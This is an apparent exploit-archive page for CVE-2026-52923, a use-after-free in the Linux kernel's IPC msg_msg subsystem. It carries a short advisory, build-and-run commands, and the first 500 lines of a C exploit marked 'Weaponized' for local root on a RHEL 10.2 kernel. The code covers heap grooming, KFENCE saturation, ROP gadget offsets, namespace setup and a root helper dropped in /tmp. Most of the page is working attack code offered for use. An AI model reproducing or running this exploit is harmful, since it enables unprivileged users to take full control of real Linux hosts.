PoC Archive PoC Archive
CVE-2026-52923 category: binary CVSS 7.8 (HIGH)
Unverified

Linux Kernel IPC msg_msg Use-After-Free LPE (CVE-2026-52923)

Published: 2026-09-03 • Researcher: Nebula Security (NebuSec / CyberMeowfia)

Target software Linux kernel (IPC msg_msg subsystem)
Affected versions RHEL kernel 6.12.0-211.7.3.el10_2
Status Weaponized
Severity High · CVSS 7.8
CVSS 7.8/10
Severity
High
CVE
CVE-2026-52923
Category
binary
Affected product
Linux kernel (IPC msg_msg subsystem)
Affected versions
RHEL kernel 6.12.0-211.7.3.el10_2
Disclosed
2026-09-03
Patch status
Unverified
On this page

Metadata

FieldValue
Date Added2026-09-03
Author / ResearcherNebula Security (NebuSec / CyberMeowfia)
CVE / AdvisoryCVE-2026-52923
Categorybinary
SeverityHigh
CVSS Score7.8
StatusWeaponized
TagsLPE, Linux kernel, IPC, msg_msg, SHM, RHEL, C

Affected Target

FieldValue
Software / SystemLinux kernel (IPC msg_msg subsystem)
Versions AffectedRHEL kernel 6.12.0-211.7.3.el10_2
Language / PlatformC, Linux
Authentication RequiredYes (local unprivileged shell)
Network Access RequiredLocal only

Summary

CVE-2026-52923 is a use-after-free in the Linux kernel IPC msg_msg subsystem. Nebula Security developed a weaponized exploit that achieves local privilege escalation to root on RHEL 10.2 (kernel 6.12.0-211.7.3.el10_2). The exploit uses SHM (shared memory) object manipulation, kernelsnitch for KASLR bypass via futex hash timing, and known-page spraying to achieve reliable code execution in kernel context.

Vulnerability Details

Root Cause

A use-after-free condition in the kernel IPC msg_msg handling allows a freed message structure to be accessed through stale references. The exploit leverages this to construct arbitrary read/write primitives in kernel memory.

Attack Vector

A local unprivileged attacker creates IPC message queues and shared memory segments to trigger the UAF. The kernelsnitch timing side-channel leaks kernel ASLR, after which fake kernel objects are constructed in controlled memory to hijack execution flow. The exploit patches core_pattern and SELinux state to achieve root.

Impact

Successful exploitation yields local privilege escalation to root on affected RHEL kernels, enabling full host compromise.

Environment / Lab Setup

Output
OS:           RHEL 10.2 (kernel 6.12.0-211.7.3.el10_2)
Target:       x86_64
Attacker:     Local unprivileged user
Tools:        musl-gcc (static build)

Build

Shell script
1
2
3
4
git clone https://github.com/NebuSec/CyberMeowfia
cd CyberMeowfia/security-research/Linux-CVE-2026-52923-RHEL-6.12.0-211.7.3.el10_2
make
./exploit

References

Notes

Auto-ingested from https://github.com/NebuSec/CyberMeowfia on 2026-09-03.

exploit.c
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
/*
 * Copyright 2026 Nebula Security
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     https://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 *
 * SPDX-License-Identifier: Apache-2.0
 */

#define _GNU_SOURCE

#include <errno.h>
#include <fcntl.h>
#include <grp.h>
#include <sched.h>
#include <signal.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/sendfile.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/uio.h>
#include <sys/wait.h>
#include <unistd.h>

#include "known_page.h"
#include "leak.h"

#define KERNEL_BASE UINT64_C(0xffffffff81000000)
#define RHEL_IMAGE_EDGE_BIAS UINT64_C(0)
#define OFF_PUSH_RDI_POP_RSP UINT64_C(0x79b32a)
#define OFF_POP_RAX UINT64_C(0x10c8b)
#define OFF_POP_RSI UINT64_C(0x2c9)
#define OFF_POP_RDI UINT64_C(0x1f6de1)
#define OFF_WRITE_EAX4 UINT64_C(0x783a4)
#define OFF_WRITE_MODE_0666 UINT64_C(0x8f32ce)
#define OFF_DO_EXIT UINT64_C(0x14ce20)
#define OFF_MSLEEP UINT64_C(0x243b60)
#define OFF_INIT_IPC_NS UINT64_C(0x26b5c20)
#define OFF_CORE_PATTERN_MODE UINT64_C(0x26b136c)
#define OFF_SELINUX_STATE UINT64_C(0x344e760)

#define IPC_TAIL 32767
#define SHMID_OBJECTS_PER_SLAB 16
#define HIGH_OBJECTS_PER_GROUP 8
#define CANDIDATE_GROUPS 2040
#define STALE_COUNT (CANDIDATE_GROUPS * HIGH_OBJECTS_PER_GROUP)
#define DEFRAG_SLABS 64
#define DEFRAG_COUNT (SHMID_OBJECTS_PER_SLAB * DEFRAG_SLABS)
#define FLUSH_SLABS 24
#define ALIGN_COUNT 14
#define KFENCE_FILL_COUNT 300
#define KFENCE_FILL_USEC 110000
#define SAFE_PIPE_SPRAY 8192
#define LATE_DRAIN_PAGES 10240
#define BRIDGE_CANDIDATES 10000
#define FINAL_FAKE_PAGES 8192
#define CALLBACK_SWEEP_ROUNDS 160
#define CALLBACK_SWEEP_USEC 50000
#define COLLATERAL_MEMFDS 60000
#define COLLATERAL_GUARD_STRIDE 8
#define SUPPORT_PAGE 2
#define TARGET_HIGH_PAGE SUPPORT_PAGE
#define REFILL_COUNT STALE_COUNT
#define ORDER3_HOLDERS 1024
#define ORDER3_PRESSURE 12000
#define ORDER3_RELEASE 640
#define EXPECTED_ORDER3_HOLDER 1
#define FRAG_LINEAR_LEN 3616
#define FRAG_SEND_LEN (FRAG_LINEAR_LEN + KNOWN_PAGE_BYTES)

#define COMMON_FIRST_SLOT (SUPPORT_PAGE * SHMID_OBJECTS_PER_SLAB)
#define COMMON_LAST_SLOT (COMMON_FIRST_SLOT + 14)
#define COMMON_START (COMMON_FIRST_SLOT * 0x100UL)
#define FAKE_SUPER (COMMON_START + 0x000)
#define FAKE_DENTRY (COMMON_START + 0x600)
#define FAKE_SHMEM_INFO (COMMON_START + 0x768)
#define FAKE_INODE (FAKE_SHMEM_INFO + 0x98)
#define FAKE_FOPS (COMMON_START + 0xa00)
#define FAKE_FILE (COMMON_START + 0xc00)

#define SHM_PERM_ID 0x08
#define SHM_PERM_MODE 0x20
#define SHM_PERM_SECURITY 0x30
#define SHM_PERM_REFCOUNT 0x50
#define SHM_FILE 0x80
#define SHM_NATTCH 0x88
#define SHM_SEGSZ 0x90
#define SHM_CPRID 0xb0
#define SHM_LPRID 0xb8
#define SHM_MLOCK_UCOUNTS 0xc0
#define SHM_CREATOR 0xc8
#define SHM_CLIST 0xd0
#define SHM_NS 0xe0

#define FILE_REF 0x00
#define FILE_LOCK 0x08
#define FILE_MODE 0x0c
#define FILE_FOP 0x10
#define FILE_MAPPING 0x18
#define FILE_PRIVATE 0x20
#define FILE_INODE 0x28
#define FILE_FLAGS 0x30
#define FILE_IOCB_FLAGS 0x34
#define FILE_CRED 0x38
#define FILE_PATH_MNT 0x40
#define FILE_PATH_DENTRY 0x48
#define FILE_SECURITY 0x78
#define FILE_EP 0x90

#define DENTRY_INODE 0x30
#define DENTRY_SB 0x68
#define INODE_SB 0x28
#define INODE_MAPPING 0x30
#define INODE_FLCTX 0x168
#define SUPER_FSNOTIFY_INFO 0x3a8
#define FOPS_FLAGS 0x08
#define FOPS_RELEASE 0x78

#define SHM_DEST 01000
#define FMODE_OPENED (1U << 19)

static uint64_t kernel_slide;
static uint64_t known_page;
static int safe_pipe_fds[SAFE_PIPE_SPRAY][2];
static int late_drain_fds[LATE_DRAIN_PAGES][2];
static int bridge_fds[BRIDGE_CANDIDATES][2];
static int final_fake_fds[FINAL_FAKE_PAGES][2];
static int order3_holder_fds[ORDER3_HOLDERS][2];
static int order3_pressure_fds[ORDER3_PRESSURE][2];
static int collateral_memfds[COLLATERAL_MEMFDS];
static int victim_ready_pipe[2];
static int victim_prepare_pipe[2];
static int victim_armed_pipe[2];
static int victim_allocate_pipe[2];
static int victim_live_pipe[2];
static int victim_exit_pipe[2];
static pid_t victim_pid = -1;
static int victim_ns_fd = -1;
static int safe_ns_fd = -1;
static int safe_guard_queue = -1;
static int victim_guard_queue = -1;
static int defrag_ids[DEFRAG_COUNT];
static int align_ids[ALIGN_COUNT];
static int refill_ids[REFILL_COUNT];
static unsigned char anchor_template[KNOWN_PAGE_BYTES];
static int final_fake_written;

static void die(const char *what)
{
	perror(what);
	exit(EXIT_FAILURE);
}

static void write_all(int fd, const void *data, size_t length)
{
	const unsigned char *cursor = data;

	while (length) {
		ssize_t done = write(fd, cursor, length);

		if (done < 0) {
			if (errno == EINTR)
				continue;
			die("write");
		}
		cursor += done;
		length -= (size_t)done;
	}
}

static void write_text(const char *path, const char *text)
{
	int fd = open(path, O_WRONLY | O_CLOEXEC);

	if (fd < 0)
		die(path);
	write_all(fd, text, strlen(text));
	close(fd);
}

static void pin_cpu(int cpu)
{
	cpu_set_t set;

	CPU_ZERO(&set);
	CPU_SET(cpu, &set);
	if (sched_setaffinity(0, sizeof(set), &set) < 0)
		die("sched_setaffinity");
}

static void drop_to_nobody_if_root(void)
{
	if (geteuid() != 0)
		return;
	if (setgroups(0, NULL) < 0)
		die("setgroups");
	if (setresgid(65534, 65534, 65534) < 0)
		die("setresgid");
	if (setresuid(65534, 65534, 65534) < 0)
		die("setresuid");
	if (prctl(PR_SET_DUMPABLE, 1, 0, 0, 0) < 0)
		die("PR_SET_DUMPABLE");
}

static void enter_user_ipc_namespaces(void)
{
	char map[64];
	uid_t uid = getuid();
	gid_t gid = getgid();

	if (unshare(CLONE_NEWUSER) < 0)
		die("unshare user");
	write_text("/proc/self/setgroups", "deny\n");
	snprintf(map, sizeof(map), "0 %u 1\n", uid);
	write_text("/proc/self/uid_map", map);
	snprintf(map, sizeof(map), "0 %u 1\n", gid);
	write_text("/proc/self/gid_map", map);
	if (setresgid(0, 0, 0) < 0 || setresuid(0, 0, 0) < 0)
		die("namespace credentials");
	if (unshare(CLONE_NEWIPC) < 0)
		die("unshare ipc");
	printf("[+] user/ipc namespace ready uid=%u gid=%u\n", getuid(), getgid());
}

static int new_segment(void)
{
	int id = shmget(IPC_PRIVATE, 1, IPC_CREAT | 0600);

	if (id < 0)
		die("shmget");
	return id;
}

static void set_next_id_fd(int fd)
{
	static const char value[] = "32767\n";

	if (lseek(fd, 0, SEEK_SET) < 0)
		die("lseek(shm_next_id)");
	write_all(fd, value, sizeof(value) - 1);
}

static void consume_kfence_sample(int queue_id)
{
	struct {
		long type;
		unsigned char text[400];
	} message = { .type = 1 }, result;

	if (msgsnd(queue_id, &message, sizeof(message.text), 0) < 0)
		die("msgsnd(KFENCE guard)");
	if (msgrcv(queue_id, &result, sizeof(result.text), 1, 0) !=
	    sizeof(result.text))
		die("msgrcv(KFENCE guard)");
}

static void victim_worker(void)
{
	char token;
	int next_fd;
	int tail;

	pin_cpu(0);
	if (unshare(CLONE_NEWIPC) < 0)
		die("unshare(victim ipc)");
	write_text("/proc/sys/kernel/shmmni", "32768\n");
	write_text("/proc/sys/kernel/shm_rmid_forced", "1\n");
	victim_guard_queue = msgget(IPC_PRIVATE, IPC_CREAT | 0600);
	if (victim_guard_queue < 0)
		die("msgget(victim guard)");
	next_fd = open("/proc/sys/kernel/shm_next_id", O_WRONLY | O_CLOEXEC);
	if (next_fd < 0)
		die("open(victim shm_next_id)");
	consume_kfence_sample(victim_guard_queue);
	set_next_id_fd(next_fd);
	tail = new_segment();
	if (tail != IPC_TAIL)
		_exit(2);
	write_all(victim_ready_pipe[1], &victim_guard_queue,
		  sizeof(victim_guard_queue));

	if (read(victim_prepare_pipe[0], &token, 1) != 1)
		_exit(3);
	/* Take a pending KFENCE sample before the known bridge page is freed. */
	consume_kfence_sample(victim_guard_queue);
	write_all(victim_armed_pipe[1], "A", 1);
	for (int group = 0; group < CANDIDATE_GROUPS; group++) {
		if (read(victim_allocate_pipe[0], &token, 1) != 1)
			_exit(4);
		for (int slot = 0; slot < HIGH_OBJECTS_PER_GROUP; slot++) {
			int i = group * HIGH_OBJECTS_PER_GROUP + slot;
			int guard;
			int id;

			/*
			 * Allocate an ordinary live segment from the exact same
			 * kmalloc-cg-256 callsite before every high-ID segment.  A
			 * pending KFENCE sample is therefore consumed by the live
			 * guard rather than by an object that will become dangling.
			 * The low/high pairs fill one 16-object slab per bridge page.
			 */
			guard = new_segment();
			if (guard < 0)
				_exit(6);
			set_next_id_fd(next_fd);
			id = new_segment();
			if (i == 0 || i == STALE_COUNT - 1)
				printf("[.] high[%d]=%d\n", i, id);
			if (id != IPC_TAIL + 1 + i)
				_exit(3);
		}
		write_all(victim_live_pipe[1], "L", 1);
	}
	if (read(victim_exit_pipe[0], &token, 1) != 1)
		_exit(5);
	close(next_fd);
	_exit(0);
}

static void prepare_victim_namespace(void)
{
	char path[64];

	if (pipe2(victim_ready_pipe, O_CLOEXEC) < 0 ||
	    pipe2(victim_prepare_pipe, O_CLOEXEC) < 0 ||
	    pipe2(victim_armed_pipe, O_CLOEXEC) < 0 ||
	    pipe2(victim_allocate_pipe, O_CLOEXEC) < 0 ||
	    pipe2(victim_live_pipe, O_CLOEXEC) < 0 ||
	    pipe2(victim_exit_pipe, O_CLOEXEC) < 0)
		die("pipe2(victim synchronization)");
	victim_pid = fork();
	if (victim_pid < 0)
		die("fork(victim)");
	if (!victim_pid)
		victim_worker();
	if (read(victim_ready_pipe[0], &victim_guard_queue,
		 sizeof(victim_guard_queue)) != sizeof(victim_guard_queue))
		die("read(victim ready)");
	snprintf(path, sizeof(path), "/proc/%d/ns/ipc", victim_pid);
	victim_ns_fd = open(path, O_RDONLY | O_CLOEXEC);
	if (victim_ns_fd < 0)
		die("open(victim ipc namespace)");
	printf("[+] victim namespace ready tail=%d guard=%d\n",
	       IPC_TAIL, victim_guard_queue);
}

static void prepare_shmid_defragmentation(void)
{
	for (int i = 0; i < DEFRAG_COUNT; i++) {
		consume_kfence_sample(safe_guard_queue);
		defrag_ids[i] = new_segment();
		if (defrag_ids[i] != i) {
			fprintf(stderr, "unexpected defrag id[%d]=%d\n", i,
				defrag_ids[i]);
			exit(EXIT_FAILURE);
		}
	}
	printf("[+] filled %d shmid objects across %d grooming slabs\n",
	       DEFRAG_COUNT, DEFRAG_SLABS);
}

static void hold_kfence_pool(void)
{
	/*
	 * Stock RHEL samples one KFENCE allocation every 100 ms and provides 255
	 * guarded objects.  Keep more than a full pool of ordinary, valid shmid
	 * objects alive in the safe namespace before creating any dangling high
	 * IDs.  This prevents a stale object from remaining trapped on a KFENCE
	 * page, which cannot participate in the later controlled-page reclaim.
	 */
	for (int i = 0; i < KFENCE_FILL_COUNT; i++) {
		usleep(KFENCE_FILL_USEC);
		(void)new_segment();
	}
	printf("[+] held %d timed shmid guards to saturate the KFENCE pool\n",
	       KFENCE_FILL_COUNT);
}

static void free_defrag_except_guards(void)
{
	for (int slab = 0; slab < DEFRAG_SLABS; slab++) {
		for (int slot = 1; slot < SHMID_OBJECTS_PER_SLAB; slot++) {
			int index = slab * SHMID_OBJECTS_PER_SLAB + slot;
			if (shmctl(defrag_ids[index], IPC_RMID, NULL) < 0)
				die("shmctl(defrag partial)");
			defrag_ids[index] = -1;
		}
	}
	/* These frees use call_rcu(); wait until the nearly-empty grooming slabs
	 * have populated both the per-CPU and per-node partial lists. */
	usleep(500000);
}

static void flush_defrag_guards(void)
{
	int flushed = 0;

	for (int slab = 8; slab < DEFRAG_SLABS && flushed < FLUSH_SLABS;
	     slab++) {
		int index = slab * SHMID_OBJECTS_PER_SLAB;
		if (defrag_ids[index] < 0)
			continue;
		if (shmctl(defrag_ids[index], IPC_RMID, NULL) < 0)
			die("shmctl(defrag flush)");
		defrag_ids[index] = -1;
		flushed++;
	}
	usleep(500000);
	printf("[+] flushed %d shmid partial-slab guards\n", flushed);
}

static int root_helper(const char *pid_string)
{
	char flag[4096];
	int pid = atoi(pid_string);
	int pfd = syscall(SYS_pidfd_open, pid, 0);
	int out = syscall(SYS_pidfd_getfd, pfd, STDOUT_FILENO, 0);
	int fd = open("/flag", O_RDONLY | O_CLOEXEC);
	int proof = open("/tmp/.fa0b-proof",
			 O_WRONLY | O_CREAT | O_TRUNC | O_CLOEXEC, 0644);
	ssize_t length;

	if (out >= 0)
		dup2(out, STDOUT_FILENO);
	if (fd < 0)
		return 1;
	write_all(STDOUT_FILENO, "RHEL_FLAG_OK\n", 13);
	if (proof >= 0)
		write_all(proof, "RHEL_FLAG_OK\n", 13);
	length = read(fd, flag, sizeof(flag));
	if (length > 0) {
		char *zero = memchr(flag, 0, (size_t)length);

		if (zero)
			length = zero - flag;
		write_all(STDOUT_FILENO, flag, (size_t)length);
		if (proof >= 0)
			write_all(proof, flag, (size_t)length);
		if (!length || flag[length - 1] != '\n') {
			write_all(STDOUT_FILENO, "\n", 1);
			if (proof >= 0)
				write_all(proof, "\n", 1);
		}
	}
	if (proof >= 0)
		close(proof);
	close(fd);
	return 0;
}

static void prepare_regular_helper(void)
{
	int self = open("/proc/self/exe", O_RDONLY | O_CLOEXEC);
	int helper = open("/tmp/.fa0b-helper",
			  O_WRONLY | O_CREAT | O_TRUNC | O_CLOEXEC, 0700);

	if (self < 0 || helper < 0)
		die("prepare helper");
	if (sendfile(helper, self, NULL, 1U << 30) < 0)
		die("sendfile helper");
	if (fchmod(helper, 0755) < 0)
		die("fchmod helper");
	close(helper);
	close(self);
}

static int selinux_is_disabled(void)
{
	char enforcing = '1';
	int fd = open("/sys/fs/selinux/enforce", O_RDONLY | O_CLOEXEC);

	if (fd < 0)
		return 0;
	(void)!read(fd, &enforcing, 1);
	close(fd);
	return enforcing == '0';
}

__attribute__((noreturn))
Showing 500 of 1054 lines View full file on GitHub →